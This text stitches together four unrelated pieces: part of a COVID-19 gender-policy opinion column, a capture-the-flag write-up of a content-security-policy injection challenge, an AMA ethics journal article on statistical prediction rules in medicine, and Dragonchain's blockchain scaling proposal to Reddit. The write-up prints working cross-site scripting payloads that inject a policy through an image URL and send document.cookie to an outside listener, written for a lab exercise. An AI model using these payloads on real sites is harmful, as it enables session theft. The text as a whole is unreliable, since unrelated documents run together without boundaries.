should also be gender-sensitive in consideration of the fact that the women are those who predominantly carry out the burden of the provision of primary healthcare. 70 percent of the health and social workforce caring for affected people is made up of women and increasingly health workers are getting infected by COVID-19. Women and girls also bear exacerbated burdens of unpaid care work as health care systems become overcrowded with the sick. As a result, the responsibility for caring for ill family members and the elderly is usually given to women, again because of the gendered roles and dynamics established in society. Furthermore, the closure of schools in pandemic times increases the burden of unpaid care work because women are also those who usually care for children. Photo Credit: Inclusive Security The promulgation of national emergency laws by governments to fight against the COVID-19, such as the introduction of lockdowns, closed borders, self-isolation, and other restrictions on citizen´s movements or rights may also have grave implications for gender equality around the world. This is so particularly in contexts affected by armed conflicts, post-conflict, and humanitarian crises because, as said before, crises and conflicts impact disproportionately the pre-existing inequalities that women and girls already suffer. COVID-19 may become a driver of conflict In this context, it is imperative to prevent the COVID-19 from becoming a driver of conflict exacerbating existing tensions and violence. To this end, raising awareness about the coronavirus health crisis and the prevention of the spread of the pandemic, especially in communities where the government’s reach is limited, must be a top priority. For that purpose, it is necessary to avoid misinformation, distrust, and the spread of rumors which could increase tensions leading to new forms of violence or the rise of previously existing ones, as was the case in many places during the Ebola outbreak. This is particularly important because, with the escalating spread of the COVID-19, fake news, hate speech and stigma have exploded, undermining social cohesion in times of compulsory social distancing. Technology and evidence-based strategies to empower women and girls Regarding the management of COVID-19 response, digital technology and online tools to collect data may turn out to be highly useful to address the specific needs of the population and provide solutions during the pandemic. But for women technology is a double sword: It is frequently less available to them or it could become a source of potential abuse. As a result, it is essential to guarantee that alternative methods to digital technology and online tools (such as access to radio, megaphones, datasheets, technical brochures or other materials for reading, classifying or writing information) are accessible to women and girls. Furthermore, gender-disaggregated data, including on key issues such as the rates of infection, differential economic impacts, or the incidence of gender-based violence and sexual abuse, is essential to understanding appropriately the epidemiological, social, and economic risks and impacts of the pandemic. Moreover, women´s civil society organizations have a key role to play. They are indispensable networks for sharing the right information about COVID-19 and as key vehicles for women´s meaningful participation in the decision-making processes. They can considerably help sustain women’s role in the key areas of disease surveillance, prevention, detection and responses to the long-term impacts of the pandemic. In this regard, it is especially important to develop strategies to foster women´s economic empowerment. This should include exploring cash transfer programming to mitigate the impact of the COVID-19 on women´s rights and, in turn, advancing towards gender equality. Gender-responsive policies are indispensable to mitigate the impact of the COVID-19 on women and girls´ rights In sum, it is necessary to take into account how the COVID-19 outbreak is impacting conflict and humanitarian dynamics with a gender lens. To meaningfully address this global health crisis, all hands need to be on board, particularly women’s and girls’. For that reason, strengthening the leadership and meaningful participation of women and girls in all decision-making processes is paramount. Gender-responsive policies and practices related to education, women´s economic empowerment, food security, livelihoods, nutrition, healthcare, and other key topics are indispensable in the framework of the pandemic. Recovery measures designed and implemented by policymakers, donors, practitioners, or civil society organizations must engage with local communities. This means directly addressing women´s political, social, and economic needs and priorities with well-planned, long-term support to achieve gender equality. No woman and girl must ever be left behind, particularly the most marginalized and vulnerable, including migrants, LGBTQI persons, or the ones living with disabilities or HIV. EDITOR’S NOTE: The opinions expressed here by Impakter.com columnists are their own, not those of Impakter.com. Featured Image: Phyllis Osei, UN Police advisor, speaks during the Women Peace Forum held in Kismaayo, Somalia on 25 July 2018. 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0.911058	I only played a bit of WeCTF (a web-only CTF) since this weekend was pretty busy with holidays, but enjoyed the one challenge I did complete, and thought I’d write it up for later. This is a CSP (content security policy) challenge that uses policy injection. Thanks to the organizers for a fun event! Challenge Prompt The prompt for this challenge was as follows: In other words, we have one website where we enter in our payload. After we enter in our payload and hit submit, we’ll be taken to a page where the payload executes (so we can test it against ourselves). This next page will have a unique URL, which we canthen pass to this other website, that is essentially an admin bot: We’ll test out our payload on the first site, and once we have a working PoC, share the URL with the admin bot. You’ll want to make sure that you’re using the same host (NY, etc) for each website. Source Code We’re given the source code for this challenge (and all challenges). Here’s the interesting part: You can see that it will take the URL of any image we try to load, parse the domain name out of it, and then add that into the Content Security Policy header. So, for example, if our payload is: <img src="http://blahblahblah.com" /> The resulting CSP header will be: Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' http://blahblahblah.com; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self' Policy Injection PoC As with all things, you shouldn’t blindly trust user input, and the same applies here. What happens if we append something to the end of our image URL? For example, if our payload is: <img src="http://blahblahblah.com; script-src-elem 'unsafe-inline'" /> Then our CSP header will be: Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' http://google.com; script-src-elem 'unsafe-inline'; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self' And just like that, we’ve injected our own policy into the CSP header. There is still an error in the Dev Tools console, but we can still get code to execute that was disallowed previously: <img src="http://blahblahblah.com; script-src-elem 'unsafe-inline'" /> <script>alert(1)</script> This will pop an alert window, since we injected the script-src-elem policy and <script> tags are now allowed. Yay! Now let’s get a flag. Cookie Listener We’ll need somewhere to send the cookies too, so I set up a listener on Pipedream (previously RequestBins). In this PoC, I changed the injected policy to script-src-attr so that I can use the onerror attribute instead of <script> tags. <img src="https://<pipedream endpoint>;script-src-attr 'unsafe-inline'" /> <img src="#" onerror=this.src="https://<pipedream endpoint>/?c="+document.cookie /> There’s now two img lines so let’s talk about that first. The first one allows images to be loaded from my Pipedream cookie listener, and also injects the new script-src-attr policy. The second img element passes in a bad src, and then onerror, it updates the source to the (now allowlisted) Pipedream endpoint, and appends the cookie on the end. I submit this PoC in the first website to test it against myself, and it works: But when I take the URL (shown in this screenshot) and send it to the admin bot, I get no visits to my listener. What gives? What browser is the admin using? I had tried this on Chrome, and made the mistake of assuming that the admin bot would be using a Chrome-related library. In any case, it was time to back up and determine which type of browser the admin was using. If send a basic payload with just an image tag that sends a request to our listener (which we can’t append the cookie to, without adding the CSP policy injection): We see that the response back says the admin is using Firefox. So, does our earlier PoC work in Firefox? Nope. Getting our payload to work in Firefox From that last screenshot, we see Content Security Policy: Couldn’t process unknown directive 'script-src-attr' It turns out that Firefox doesn’t know about the script-src-attr because it’s not supported in all browsers because of differing levels of CSP Level support in browsers. In any case, I went to the “CSP Browser Compatibility” section of the Mozilla developer docs page linked earlier, and picked a tag that was script-related, and supported by Firefox. This new tag was script-src, which I had been avoiding because it already existed in the CSP header. <img src="http://<endpoint>; script-src 'unsafe-inline';" /> <img src=x onerror=this.src="http://<endpoint>/?c="+document.cookie /> This ended up making my entire PoC easier and I should have tried overwriting existing policies sooner. TIL.
0.998785	Improving Clinical Decision Making by Excising the Physician's Judgment \| Journal of Ethics \| American Medical Association Skip to main content AMA Journal of Ethics Illuminating the Art of Medicine Search Menu Main navigation Home Issues Articles Cases Art Multimedia CME For Authors Call for Papers Art Institute of Chicago Call for Editorial Fellows COVID-19 Resources Medicine and Society Jul 2006 Improving Clinical Decision Making by Excising the Physician's Judgment Abraham P. Schwab, PhD Virtual Mentor. 2006;8(7):469-472. doi: 10.1001/virtualmentor.2006.8.7.msoc1-0607. Citation PDF Altmetric email In 1950 a patient with diabetes couldn’t test his or her own blood sugar or have it tested by the doctor; a pregnant woman couldn’t get an ultrasound picture of her fetus and we didn’t know what DNA looked like; the polio and measles vaccines didn’t exist and neither did Medicare or Medicaid. Today these are such common aspects of routine medical practice that it’s hard to imagine not knowing about the double helix or the perpetual problems of Medicare and Medicaid. This statement, “In 1950, statistical prediction rules (SPRs) weren’t used in medical practice,” doesn't evoke surprise at all, but it might if Paul Meehl’s work had been taken seriously by the medical community when it was first published in 1954 [1]. What is an SPR? An SPR in medicine takes a small number of variables specific to a diagnosis or given set of clinical circumstances and uses those variables to produce either a probability for a particular outcome or a recommended course of action. Sometimes SPRs are referred to as “clinical prediction rules” in medical literature, but, as I’ll explain later, this can be misleading. One SPR produced for medical practice regards the treatment of prostate cancer. The most effective treatment for prostate cancer (either radiation, resection or a combination of the two) is determined by whether or not the cancer has spread beyond the prostate. A physician typically makes an intuitive judgment based on his or her experience and various clinical and test data such as the stage of the cancer, the prostate-specific antigen (PSA) and the Gleason’s score. In 1997, Partin et al. produced an SPR to provide physicians and their patients with a calibrated estimate that would not rely on the intuitive judgment of the physician [2]. Using the table the authors created, a physician can input the clinical stage of the cancer, the PSA and the Gleason’s score and quickly determine the probability that the cancer has spread beyond the prostate. Even though this doesn’t automatically dictate the course of treatment (physicians will view these probabilities differently for a 70-year-old patient than for a 45-year-old patient), it does provide a sound basis for deciding on the best course of treatment. No longer left to the vagaries of a clinician’s intuitive judgment (which may be affected by the fact that the last three patients had prostate cancer that had spread), the physician’s recommendation and the patient’s decision can be based on more reliable and objective information. How Does One Know an SPR is Reliable? In short, one knows by testing it. If patient information plugged into the table mentioned above indicated a 70 percent chance that the prostate cancer had spread, that prediction would be verified using new cases. In their study, Partin et al. used 4,133 cases from three different centers to produce their SPR. Evidence of this SPR’s reliability was then produced through a “bootstrap estimate.” Partin et al. drew random samples from the original 4,133 cases and tested the SPRs prediction against the known clinical outcome in each case. More evidence can be gathered by systematically evaluating how well the SPR predicts the spread of prostate cancer in new cases; that is, cases which weren’t used to produce the rule. For example, if the researchers had produced the SPR using data from only 2,500 cases and then tested it on the approximately 1,500 remaining cases, they would have had even more evidence that the rule worked. Why Would Physicians Want to Use an SPR? Before physicians and other experts make recommendations, they gather information and interpret it. When an oncologist suggests resection of a patient’s tumor, that recommendation is based on raw data—perhaps from an MRI, a biopsy or a mammography—and an interpretation of that data. Looking over these reports, the oncologist and surgeon must decide whether to recommend a lumpectomy or mastectomy or other treatment. Presumably, the advantage of expert judgment in such decisions is that the expert has “been here before.” It’s a comfort to rely on the expert’s experience—she’s interpreted this kind of x-ray before, probably remembers how it turned out in the past and thus seems to be in the best position to make the most accurate interpretation. That experts make better judgments than novices is not generally challenged, and I will not challenge it here. But studies have shown that decision models based on an expert’s past decisions outperform the expert himself when applied to new decisions [3]. Presumably this is because even the best expert, like the jump shooter in basketball who sometimes lets her elbow drift away from her body, is inconsistent from time to time. Most importantly, many other studies have shown that SPRs generally match or outperform the decisions of the best experts [4]. The great boon of SPRs and the optimism about their potential benefit for medical practice is that every patient can have his or her treatment guided by decisions that match or improve on the intuitive judgments of the top experts. SPRs and Computer-Assisted Decisions Computer assistance is available for some of the complicated calculations that are often part of clinical decision making. For example, a physician who wants to know the odds that a patient’s positive test results indicate actual disease can refer to free online diagnostic test calculators [5]. An example used by Gigerenzer and Hoffrage can offer helpful explanation here. Let’s say that 1 percent of 40-year-old women have breast cancer and that mammography has 80 percent sensitivity (gives a positive result to 80 percent of the women with breast cancer) and 90.4 percent specificity (gives a false positive to 9.6 percent of the women who don’t have breast cancer). Now, if a 40-year-old woman gets a positive test result, what’s the chance she has breast cancer [6]? A physician who knows the Bayesian algorithm for posterior probability can do the math: 1 percent multiplied by 80 percent divided by (1 percent multiplied by 80 percent plus 99 percent multiplied by 9.6 percent). Alternatively that physician could rely on a program like the diagnostic calculator mentioned above to compute the answer. Making use of such a program is referred to as computer-assisted decision making [7]. Computer-assisted decision making is not the same thing as following an SPR. The difference is that a computer-assisted decision is one for which a computer has executed a complicated calculation; an SPR, on the other hand, is a heuristic or easily remembered rule that the physician, once she has a few other pieces of information, can quickly translate into a prediction or recommendation. It’s true that the SPR for prostate cancer gives a percentage chance that the disease has spread and the program described above gives a percentage chance of disease presence following a positive mammogram; the distinction between the two lies in the root of the prediction. The computer-assisted decision takes a test result and calculates or determines its meaning. The SPR takes several pieces of information (clinical stage, PSA and Gleason’s score) and predicts the possibility of specific clinical results. The line between computer-assisted decisions and SPRs won’t always be bright, just as it isn’t in the above examples. Indeed, in some cases, a physician might use computer assistance to get one piece of information (e.g., the Gleason's score) and then plug that information into an SPR. A clearer example of an SPR without computer assistance is the Ottawa Ankle Rule. This is a simple rule that can tell a podiatrist or other physician whether or not to get an ankle or foot x-ray following a blunt trauma to the ankle. When using this SPR, five pieces of information about a patient’s foot and ankle tell a physician whether or not a foot or ankle x-ray is needed [8]. As I mentioned earlier, SPRs have also been described as clinical prediction rules in the medical literature. This can be misleading because some clinical prediction rules are straightforward SPRs (e.g., the Ottawa Ankle Rule), while others are computer-assisted decisions. It would be a mistake, then, to assume that all clinical prediction rules are SPRs. The Future of SPRs Despite the conclusions of the studies, few SPRs have been used in medical practice from Meehl’s day until the present. I have noted above one for prostate cancer. A number of others can be found on the Mount Sinai School of Medicine Web site [8]. Given the fifty years since Meehl’s work, you might think more would be in use, and I think more should be. Without an effort to produce and use SPRs in clinical care, physicians restrict the future of the art of healing by subjecting powerful evidence-based therapies and diagnostics to the inconsistent intuitive judgments of its practitioners. Dawes has noted that “the ineffable, intuitive clinical judgment is very difficult to challenge—at least, not without an extensive statistical study to assess its bias” [9]. We can only hope that with robust research conclusions illustrating the predictive reliability of SPRs we will overcome our blind faith in intuitions. Read More Ethics/Practice, Evidence-based practice/Effectiveness, Diagnosis/Cost-effectiveness References Meehl PE. Clinical Versus Statistical Prediction: A Theoretical Analysis and a Review of the Evidence. Minneapolis, Minn: University of Minnesota Press; 1954. View Article Google Scholar Partin AW, Kattan MW, Subong ENP, et al. Combination of prostate-specific antigen, clinical stage, and Gleason score to predict pathological stage of localized prostate cancer. A multi-institutional update. JAMA. 1997;277(18):1445-1451. View Article PubMed Google Scholar Goldberg LR. Man versus model of man: a rationale, plus some evidence, for a method of improving on clinical inferences. Psych Bull. 1970;73(6):422-432. View Article Google Scholar In his 2005 article, Dawes cites a number of the 135 existing studies showing that SPRs are as good as or better than the best experts. Dawes RM. The ethical implications of Paul Meehl’s work on comparing clinical versus actuarial prediction methods. J Clin Psychol. 2005;61(10):1245-1255. Note: at times in this article a copyeditor mistakenly replaced “clinical versus actuarial” with “statistical versus actuarial.” View Article PubMed Google Scholar Schwartz A. Diagnostic Test Calculator. Available at: http://araw.mede.uic.edu/cgi-bin/testcalc.pl. Accessed June 23, 2006. Gigerenzer G, Hoffrage U. How to improve Bayesian reasoning without instruction: frequency formats. Psychol Rev. 1995;102(4):684-704. Google Scholar Either way, this hypothetical 40-year-old woman with a positive mammography has an 8 percent chance of actually having breast cancer. Mount Sinai School of Medicine. Ottawa Ankle Rule: X-ray After Blunt Trauma? Available at: http://www.mssm.edu/medicine/general-medicine/ebm/CPR/ottawaFrame.html. Accessed June 23, 2006. Dawes RM. House of Cards: Psychology and Psychotherapy Built on Myth. New York, NY: Free Press; 1994:104. Google Scholar Citation Virtual Mentor. 2006;8(7):469-472. DOI 10.1001/virtualmentor.2006.8.7.msoc1-0607. The viewpoints expressed in this article are those of the author(s) and do not necessarily reflect the views and policies of the AMA. Author Information Abraham P. Schwab, PhD is the senior fellow in the Institute for Ethics at the American Medical Association in Chicago, Illinois.
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Every single transaction on Dragonchain is decentralized immediately through 5 levels of Dragon Net, and then secured with combined proof on Bitcoin, Ethereum, Ethereum Classic, and Binance Chain, via Interchain. At the time, in January 2020, the entire cost of the demo was approximately $25K on a single system (transaction fees locked at $0.0001/txn). With current fees (lowest fee $0.0000025/txn), this would cost as little as $625. Watch Joe walk through the entire proposal and answer questions on YouTube. This proposal is also available on the Dragonchain blog. Hello Reddit and Ethereum community! I’m Joe Roets, Founder & CEO of Dragonchain. When the team and I first heard about The Great Reddit Scaling Bake-Off we were intrigued. We believe we have the solutions Reddit seeks for its community points system and we have them at scale. For your consideration, we have submitted our proposal below. The team at Dragonchain and I welcome and look forward to your technical questions, philosophical feedback, and fair criticism, to build a scaling solution for Reddit that will empower its users. Because our architecture is unlike other blockchain platforms out there today, we expect to receive many questions while people try to grasp our project. I will answer all questions here in this thread on Reddit, and I've answered some questions in the stream on YouTube. We have seen good discussions so far in the competition. We hope that Reddit’s scaling solution will emerge from The Great Reddit Scaling Bake-Off and that Reddit will have great success with the implementation. Executive summary Dragonchain is a robust open source hybrid blockchain platform that has proven to withstand the passing of time since our inception in 2014. We have continued to evolve to harness the scalability of private nodes, yet take full advantage of the security of public decentralized networks, like Ethereum. We have a live, operational, and fully functional Interchain network integrating Bitcoin, Ethereum, Ethereum Classic, and ~700 independent Dragonchain nodes. Every transaction is secured to Ethereum, Bitcoin, and Ethereum Classic. Transactions are immediately usable on chain, and the first decentralization is seen within 20 seconds on Dragon Net. Security increases further to public networks ETH, BTC, and ETC within 10 minutes to 2 hours. Smart contracts can be written in any executable language, offering full freedom to existing developers. We invite any developer to watch the demo, play with our SDK’s, review open source code, and to help us move forward. Dragonchain specializes in scalable loyalty & rewards solutions and has built a decentralized social network on chain, with very affordable transaction costs. This experience can be combined with the insights Reddit and the Ethereum community have gained in the past couple of months to roll out the solution at a rapid pace. Response and PoC In The Great Reddit Scaling Bake-Off post, Reddit has asked for a series of demonstrations, requirements, and other considerations. In this section, we will attempt to answer all of these requests. Live Demo A live proof of concept showing hundreds of thousands of transactions On Jan 7, 2020, Dragonchain hosted a 24-hour live demonstration during which a quarter of a billion (250 million+) transactions executed fully on an operational network. Every single transaction on Dragonchain is decentralized immediately through 5 levels of Dragon Net, and then secured with combined proof on Bitcoin, Ethereum, Ethereum Classic, and Binance Chain, via Interchain. This means that every single transaction is secured by, and traceable to these networks. An attack on this system would require a simultaneous attack on all of the Interchained networks. 24 hours in 4 minutes (YouTube): 24 hours in 4 minutes The demonstration was of a single business system, and any user is able to scale this further, by running multiple systems simultaneously. Our goals for the event were to demonstrate a consistent capacity greater than that of Visa over an extended time period. Tooling to reproduce our demo is available here: https://github.com/dragonchain/spirit-bomb Source Code Source code (for on & off-chain components as well tooling used for the PoC). The source code does not have to be shared publicly, but if Reddit decides to use a particular solution it will need to be shared with Reddit at some point. Dragonchain Core Tooling for demonstration Dragonchain Github Scaling How it works & scales Architectural Scaling Dragonchain’s architecture attacks the scalability issue from multiple angles. Dragonchain is a hybrid blockchain platform, wherein every transaction is protected on a business node to the requirements of that business or purpose. A business node may be held completely private or may be exposed or replicated to any level of exposure desired. Every node has its own blockchain and is independently scalable. Dragonchain established Context Based Verification as its consensus model. Every transaction is immediately usable on a trust basis, and in time is provable to an increasing level of decentralized consensus. A transaction will have a level of decentralization to independently owned and deployed Dragonchain nodes (~700 nodes) within seconds, and full decentralization to BTC and ETH within minutes or hours. Level 5 nodes (Interchain nodes) function to secure all transactions to public or otherwise external chains such as Bitcoin and Ethereum. These nodes scale the system by aggregating multiple blocks into a single Interchain transaction on a cadence. This timing is configurable based upon average fees for each respective chain. For detailed information about Dragonchain’s architecture, and Context Based Verification, please refer to the Dragonchain Architecture Document. Economic Scaling An interesting feature of Dragonchain’s network consensus is its economics and scarcity model. Since Dragon Net nodes (L2-L4) are independent staking nodes, deployment to cloud platforms would allow any of these nodes to scale to take on a large percentage of the verification work. This is great for scalability, but not good for the economy, because there is no scarcity, and pricing would develop a downward spiral and result in fewer verification nodes. For this reason, Dragonchain uses TIME as scarcity. TIME is calculated as the number of Dragons held, multiplied by the number of days held. TIME influences the user’s access to features within the Dragonchain ecosystem. It takes into account both the Dragon balance and length of time each Dragon is held. TIME is staked by users against every verification node and dictates how much of the transaction fees are awarded to each participating node for every block. TIME also dictates the transaction fee itself for the business node. TIME is staked against a business node to set a deterministic transaction fee level (see transaction fee table below in Cost section). This is very interesting in a discussion about scaling because it guarantees independence for business implementation. No matter how much traffic appears on the entire network, a business is guaranteed to not see an increased transaction fee rate. Scaled Deployment Dragonchain uses Docker and Kubernetes to allow the use of best practices traditional system scaling. Dragonchain offers managed nodes with an easy to use web based console interface. The user may also deploy a Dragonchain node within their own datacenter or favorite cloud platform. Users have deployed Dragonchain nodes on-prem on Amazon AWS, Google Cloud, MS Azure, and other hosting platforms around the world. Any executable code, anything you can write, can be written into a smart contract. This flexibility is what allows us to say that developers with no blockchain experience can use any code language to access the benefits of blockchain. Customers have used NodeJS, Python, Java, and even BASH shell script to write smart contracts on Dragonchain. With Docker containers, we achieve better separation of concerns, faster deployment, higher reliability, and lower response times. We chose Kubernetes for its self-healing features, ability to run multiple services on one server, and its large and thriving development community. It is resilient, scalable, and automated. OpenFaaS allows us to package smart contracts as Docker images for easy deployment. Contract deployment time is now bounded only by the size of the Docker image being deployed but remains fast even for reasonably large images. We also take advantage of Docker’s flexibility and its ability to support any language that can run on x86 architecture. Any image, public or private, can be run as a smart contract using Dragonchain. Flexibility in Scaling Dragonchain’s architecture considers interoperability and integration as key features. From inception, we had a goal to increase adoption via integration with real business use cases and traditional systems. We envision the ability for Reddit, in the future, to be able to integrate alternate content storage platforms or other financial services along with the token. LBRY - To allow users to deploy content natively to LBRY MakerDAO to allow users to lend small amounts backed by their Reddit community points. STORJ/SIA to allow decentralized on chain storage of portions of content. These integrations or any other are relatively easy to integrate on Dragonchain with an Interchain implementation. Cost Cost estimates (on-chain and off-chain) For the purpose of this proposal, we assume that all transactions are on chain (posts, replies, and votes). On the Dragonchain network, transaction costs are deterministic/predictable. By staking TIME on the business node (as described above) Reddit can reduce transaction costs to as low as $0.0000025 per transaction. Dragonchain Fees Table Getting Started How to run it Building on Dragonchain is simple and requires no blockchain experience. Spin up a business node (L1) in our managed environment (AWS), run it in your own cloud environment, or on-prem in your own datacenter. Clear documentation will walk you through the steps of spinning up your first Dragonchain Level 1 Business node. Getting started is easy... Download Dragonchain’s dctl Input three commands into a terminal Build an image Run it More information can be found in our Get started documents. Quickstart Full Documentation Architecture Dragonchain is an open source hybrid platform. Through Dragon Net, each chain combines the power of a public blockchain (like Ethereum) with the privacy of a private blockchain. Dragonchain organizes its network into five separate levels. A Level 1, or business node, is a totally private blockchain only accessible through the use of public/private keypairs. All business logic, including smart contracts, can be executed on this node directly and added to the chain. After creating a block, the Level 1 business node broadcasts a version stripped of sensitive private data to Dragon Net. Three Level 2 Validating nodes validate the transaction based on guidelines determined from the business. A Level 3 Diversity node checks that the level 2 nodes are from a diverse array of locations. A Level 4 Notary node, hosted by a KYC partner, then signs the validation record received from the Level 3 node. The transaction hash is ledgered to the Level 5 public chain to take advantage of the hash power of massive public networks. Dragon Net can be thought of as a “blockchain of blockchains”, where every level is a complete private blockchain. Because an L1 can send to multiple nodes on a single level, proof of existence is distributed among many places in the network. Eventually, proof of existence reaches level 5 and is published on a public network. Dragonchain architecture Dragon Net easy to consume 2018 Infographic API Documentation APIs (on chain & off) Python SDK NodeJS/Javascript SDK Go SDK DCTL Package API References RESTful API SDK Source https://github.com/dragonchain/dragonchain-sdk-python https://github.com/dragonchain/dragonchain-sdk-javascript https://github.com/dragonchain/dragonchain-sdk-go https://github.com/dragonchain/dragonchain-sdk-dart Nobody’s Perfect Known issues or tradeoffs Dragonchain is open source and even though the platform is easy enough for developers to code in any language they are comfortable with, we do not have so large a developer community as Ethereum. We would like to see the Ethereum developer community (and any other communities) become familiar with our SDK’s, our solutions, and our platform, to unlock the full potential of our Ethereum Interchain. Long ago we decided to prioritize both Bitcoin and Ethereum Interchains. We envision an ecosystem that encompasses different projects to give developers the ability to take full advantage of all the opportunities blockchain offers to create decentralized solutions not only for Reddit but for all of our current platforms and systems. We believe that together we will take the adoption of blockchain further. We currently have additional Interchain with Ethereum Classic. We look forward to Interchain with other blockchains in the future. We invite all blockchains projects who believe in decentralization and security to Interchain with Dragonchain. While we only have 700 nodes compared to 8,000 Ethereum and 10,000 Bitcoin nodes. We harness those 18,000 nodes to scale to extremely high levels of security. See Dragonchain metrics. Some may consider the centralization of Dragonchain’s business nodes as an issue at first glance, however, the model is by design to protect business data. We do not consider this a drawback as these nodes can make any, none, or all data public. Depending upon the implementation, every subreddit could have control of its own business node, for potential business and enterprise offerings, bringing new alternative revenue streams to Reddit. Costs and resources Summary of cost & resource information for both on-chain & off-chain components used in the PoC, as well as cost & resource estimates for further scaling. If your PoC is not on mainnet, make note of any mainnet caveats (such as congestion issues). Every transaction on the PoC system had a transaction fee of $0.0001 (one-hundredth of a cent USD). At 256MM transactions, the demo cost $25,600. With current operational fees, the same demonstration would cost $640 USD. For the demonstration, to achieve throughput to mimic a worldwide payments network, we modeled several clients in AWS and 4-5 business nodes to handle the traffic. The business nodes were tuned to handle higher throughput by adjusting memory and machine footprint on AWS. This flexibility is valuable to implementing a system such as envisioned by Reddit. Given that Reddit’s daily traffic (posts, replies, and votes) is less than half that of our demo, we would expect that the entire Reddit system could be handled on 2-5 business nodes using right-sized containers on AWS or similar environments. Verification was accomplished on the operational Dragon Net network with over 700 independently owned verification nodes running around the world at no cost to the business other than paid transaction fees. Requirements Scaling This PoC should scale to the numbers below with minimal costs (both on & off-chain). There should also be a clear path to supporting hundreds of millions of users. Over a 5 day period, your scaling PoC should be able to handle: 100,000 point claims (minting & distributing points) 25,000 subscriptions 75,000 one-off points burning 100,000 transfers During Dragonchain’s 24 hour demo, the above required numbers were reached within the first few minutes. Reddit’s total activity is 9000% more than Ethereum’s total transaction level. Even if you do not include votes, it is still 700% more than Ethereum’s current volume. Dragonchain has demonstrated that it can handle 250 million transactions a day, and it’s architecture allows for multiple systems to work at that level simultaneously. In our PoC, we demonstrate double the full capacity of Reddit, and every transaction was proven all the way to Bitcoin and Ethereum. Reddit Scaling on Ethereum Decentralization Solutions should not depend on any single third-party provider. We prefer solutions that do not depend on specific entities such as Reddit or another provider, and solutions with no single point of control or failure in off-chain components but recognize there are numerous trade-offs to consider Dragonchain’s architecture calls for a hybrid approach. Private business nodes hold the sensitive data while the validation and verification of transactions for the business are decentralized within seconds and secured to public blockchains within 10 minutes to 2 hours. Nodes could potentially be controlled by owners of individual subreddits for more organic decentralization. Billing is currently centralized - there is a path to federation and decentralization of a scaled billing solution. Operational multi-cloud Operational on-premises capabilities Operational deployment to any datacenter Over 700 independent Community Verification Nodes with proof of ownership Operational Interchain (Interoperable to Bitcoin, Ethereum, and Ethereum Classic, open to more) Usability Scaling solutions should have a simple end user experience. Users shouldn't have to maintain any extra state/proofs, regularly monitor activity, keep track of extra keys, or sign anything other than their normal transactions Dragonchain and its customers have demonstrated extraordinary usability as a feature in many applications, where users do not need to know that the system is backed by a live blockchain. Lyceum is one of these examples, where the progress of academy courses is being tracked, and successful completion of courses is rewarded with certificates on chain. Our @Save_The_Tweet bot is popular on Twitter. When used with one of the following hashtags - #please, #blockchain, #ThankYou, or #eternalize the tweet is saved through Eternal to multiple blockchains. A proof report is available for future reference. Other examples in use are DEN, our decentralized social media platform, and our console, where users can track their node rewards, view their TIME, and operate a business node. Examples: Den social media Eternal & Save The Tweet bot Lyceum/Academy Transactions complete in a reasonable amount of time (seconds or minutes, not hours or days) All transactions are immediately usable on chain by the system. A transaction begins the path to decentralization at the conclusion of a 5-second block when it gets distributed across 5 separate community run nodes. Full decentralization occurs within 10 minutes to 2 hours depending on which interchain (Bitcoin, Ethereum, or Ethereum Classic) the transaction hits first. Within approximately 2 hours, the combined hash power of all interchained blockchains secures the transaction. Free to use for end users (no gas fees, or fixed/minimal fees that Reddit can pay on their behalf) With transaction pricing as low as $0.0000025 per transaction, it may be considered reasonable for Reddit to cover transaction fees for users. All of Reddit's Transactions on Blockchain (month) Community points can be earned by users and distributed directly to their Reddit account in batch (as per Reddit minting plan), and allow users to withdraw rewards to their Ethereum wallet whenever they wish. Withdrawal fees can be paid by either user or Reddit. This model has been operating inside the Dragonchain system since 2018, and many security and financial compliance features can be optionally added. We feel that this capability greatly enhances user experience because it is seamless to a regular user without cryptocurrency experience, yet flexible to a tech savvy user. With regard to currency or token transactions, these would occur on the Reddit network, verified to BTC and ETH. These transactions would incur the $0.0000025 transaction fee. To estimate this fee we use the monthly active Reddit users statista with a 60% adoption rate and an estimated 10 transactions per month average resulting in an approximate $720 cost across the system. Reddit could feasibly incur all associated internal network charges (mining/minting, transfer, burn) as these are very low and controllable fees. Reddit Internal Token Transaction Fees Reddit Ethereum Token Transaction Fees When we consider further the Ethereum fees that might be incurred, we have a few choices for a solution. Offload all Ethereum transaction fees (user withdrawals) to interested users as they wish to withdraw tokens for external use or sale. Cover Ethereum transaction fees by aggregating them on a timed schedule. Users would request withdrawal (from Reddit or individual subreddits), and they would be transacted on the Ethereum network every hour (or some other schedule). In a combination of the above, customers could cover aggregated fees. Integrate with alternate Ethereum roll up solutions or other proposals to aggregate minting and distribution transactions onto Ethereum. Bonus Points Users should be able to view their balances & transactions via a blockchain explorer-style interface From interfaces for users who have no knowledge of blockchain technology to users who are well versed in blockchain terms such as those present in a typical block explorer, a system powered by Dragonchain has flexibility on how to provide balances and transaction data to users. Transactions can be made viewable in an Eternal Proof Report, which displays raw data along with TIME staking information and traceability all the way to Bitcoin, Ethereum, and every other Interchained network. The report shows fields such as transaction ID, timestamp, block ID, multiple verifications, and Interchain proof. See example here. Node payouts within the Dragonchain console are listed in chronological order and can be further seen in either Dragons or USD. See example here. In our social media platform, Dragon Den, users can see, in real-time, their NRG and MTR balances. See example here. A new influencer app powered by Dragonchain, Raiinmaker, breaks down data into a user friendly interface that shows coin portfolio, redeemed rewards, and social scores per campaign. See example here. Exiting is fast & simple Withdrawing funds on Dragonchain’s console requires three clicks, however, withdrawal scenarios with more enhanced security features per Reddit’s discretion are obtainable. Interoperability Compatibility with third party apps (wallets/contracts/etc) is necessary. Proven interoperability at scale that surpasses the required specifications. Our entire platform consists of interoperable blockchains connected to each other and traditional systems. APIs are well documented. Third party permissions are possible with a simple smart contract without the end user being aware. No need to learn any specialized proprietary language. Any code base (not subsets) is usable within a Docker container. Interoperable with any blockchain or traditional APIs. We’ve witnessed relatively complex systems built by engineers with no blockchain or cryptocurrency experience. We’ve also demonstrated the creation of smart contracts within minutes built with BASH shell and Node.js. Please see our source code and API documentation. Scaling solutions should be extensible and allow third parties to build on top of it Open source and extensible APIs should be well documented and stable Python SDK NodeJS/Javascript SDK Go SDK DCTL Package API References RESTful API Documentation should be clear and complete For full documentation, explore our docs, SDK’s, Github repo’s, architecture documents, original Disney documentation, and other links or resources provided in this proposal. Github Architecture Disney Use Cases Den social media Dragon Den Blue Paper Core documentation Javascript SDK Python SDK Go SDK Dart SDK User friendly console TIME Academy Dragonchain Wikipedia Third-party permissionless integrations should be possible & 